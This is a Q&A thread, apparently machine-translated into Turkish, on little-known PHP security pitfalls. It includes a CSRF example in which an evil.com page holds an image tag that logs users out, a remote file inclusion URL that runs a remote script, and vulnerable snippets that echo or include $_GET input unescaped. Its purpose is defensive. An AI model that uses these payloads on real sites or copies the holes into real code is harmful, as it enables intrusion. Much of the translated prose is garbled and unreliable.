Ortak bilinmeyen PHP güvenlik tuzaklar

8 Cevap php

Ben bu gibi sorular kez yüz soruldu biliyorum, ama benimki biraz farklı.

SQL enjeksiyon, XSS vb Ama ne sıklıkla açıkları olarak değerlendirilecek çoğu kez ya da görünür ama tanınmayan konular hakkında gibi tüm ortak ve yaygın olarak bilinen güvenlik sorunları hakkında biliyor musunuz? Herhangi var mı?

8 Cevap

Çok geç olana kadar ben bir özellik olarak gelişmiş ve bir güvenlik açığı olarak görülen alır bir sürü gördüm bir şey devlet değişen GET istekleri vardır. Bu kolay cross-site request forgery neden olabilir. Örneğin, uygulama kullanıcıları günlükleri http://mysite.com/logout için bir bağlantı olabilir. Ancak bir üçüncü taraf site bu gibi bir kod ekleyebilirsiniz:

<!-- on evil.com site -->
<img src="http://mysite.com/logout">

Kullanıcıların evil.com üzerindeki sayfasını yüklediğinizde Sonra, onlar mysite.com dışarı kaydediliyor!

Siteler devlet değişen GET istekleri kullanılarak bir API uygulamak zaman kötü sorunlar olur. Ben vb site.com / addfriend, site.com / sendmessage gibi URL'ler, bir sosyal ağ sitesi koştu ve benim site için uygulamalar yapmak için gittiğini geliştiriciler için bu adresler verdi Örneğin, geliştiriciler olurdu güvenlik açığı keşfedildi bir API değişikliği ile başa çıkmak.

  1. $_REQUEST, aynı zamanda tanımlama bilgilerini içeren çünkü kötü bir fikir olduğunu, $_REQUEST yerine $_GET veya $_POST kullanarak ve bunun için kapıyı açar { [(4)]}

  2. Gerçekten PHP-özel, tüm yorumlanır diller için geçerlidir: visibility of .svn/.CVS directories

Burada üzerinde çalıştığım bir kaçıdır:

  • Storing passwords as plaintext in a DB
    • Siteniz kesmek ise, bilgisayar korsanlarının, kullanıcıların şifreleri ve e-postaların tüm erişebilirsiniz. Birçok kullanıcı aynı onların e-posta için şifre yanı sıra sitesi var nasıl düşünün.
  • Storing emails in the same table as your users
    • SQL enjeksiyonu saldırısı kullanıcı tabloya bir hacker erişim verirse, değerli bilgi sadece parçalarından biri e-posta adresi. Daha zor korsan yapmak için ayrı bir tablo tutun.
    • Eğer kullanıcı e-posta niyetinde değilseniz, sadece e-posta karmasını saklamak: spam için bunları satabilirsiniz kullanıcı e-postalara erişim alır bir hacker.
  • Even if you have a password-protected site, do the math as to how secure the password are. I had a friend whose site used a simple 5-digit number for passwords. I cracked it in about an hour.
  • If you're sending communications that have value (i.e.: you're performing an operation that uses a significant amount of resources: cpu, memory, etc.), always require a token from the user that's timestamped.
    • Bir hacker size $ 0,0001 isabet ediyor, her zaman maliyeti bir operasyon olduğunu bulursa, onlar adına ücretleri kadar rafa bir botnet dışarı çiftlik olabilir.
    • Kullanıcı bir düz metin damgası ile birlikte (kullanıcı, zaman damgası ve gizli tuz için benzersiz bir kimlik) bir karma göndermek gerektirir. Şifresiz damgası Eğer geçen Salı onlara izin vermedi doğrulamak sağlayan, karma damgası size that mesajında, sahip de UID korsan 'yapmadım garanti ile ait olduğunu doğrulamak sağlar t başkasından isteği jack, ve karma gizli tuz kendi üzerine oluşturmak vermedi sağlar.
  • Bir uygulama için bir eklenti sistemi yazıyorsanız, size özel değişkenlerde saklamak ne karşı dikkatli olun. Ben nasıl yazdı bu makaleye göz atın lock it down.

Ben ele ettik birkaç fikir ve şeyler. Umarım yardımcı olur!

Gibi fopen işlemcileri etkin nerede kere ben önemsiz bir yığın üzerinde çalıştı "küresellerle kayıt." Içerir gibi baktı:

<?php
include $MY_BASE . '/includes/myLib.inc';
?>

What this allowed anyone to do is remotely execute any code they wanted. Behold: http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f

PHP HTTP üzerinden metin dosyasını alıp yerel olarak yürütecek. Apache root olarak çalışan bu yana ... iyi, fikir olsun.

Sosyal mühendislik saldırılarına karşı korumak için prosedürlerin eksikliği? Örneğin, bir saldırganın bir ofis arama ve şifreleri elde etme amacı için birini taklit.

Kötü şifre oluşturma, dağıtım ve koruma politikası.

FTP hesabı çatlama sitenize tarih kötü amaçlı kod neden olabilir.

Zayıf / savunmasız üçüncü taraf sunucuları barındırma siteniz olursa olsun onu güvenli hale harcanan ne kadar zaman ele geçirilmesini neden olabilir.

Burada gördüğüm ortak tuzaklar bazıları şunlardır:

1. Not escaping entities

Bu temel bilgi var; TÜM güvenilmeyen girişi (biçimlerinden özellikle kullanıcı girişi) bu çıkışı ediliyor önce dezenfekte edilmelidir.

echo $_GET['username'];

2. Not Escaping SQL input

$query = "select * fromt able where id = {$_GET['id']}";

3. Requiring and including files incorrectly

include($_GET['filename']);

4. Double escaping quotes

If magic_quotes_gpc is true, then using addslahes will add one more slash thereby adding two slashes in all.

PHP fazla 10 yıl için yaklaşık edilmiş ve bir çok olgunlaştı.

Php.ini gevşek varsayılan sakının.

Mesajların çoğu PHP özgü değildir. Ben bazı dil tuzaklar vardır eminim ama mesaj gördüğünüz gibi (kullanıcı girişi filtreleme gibi) güvenlik en iyi uygulamaları uygulamak için çok önemlidir. Güvenli web uygulamaları için iyi bir başlangıç ​​olduğunu OWASP. Ve konuyla ilgili olarak: Security Issues in PHP on OWASP.

Şerefe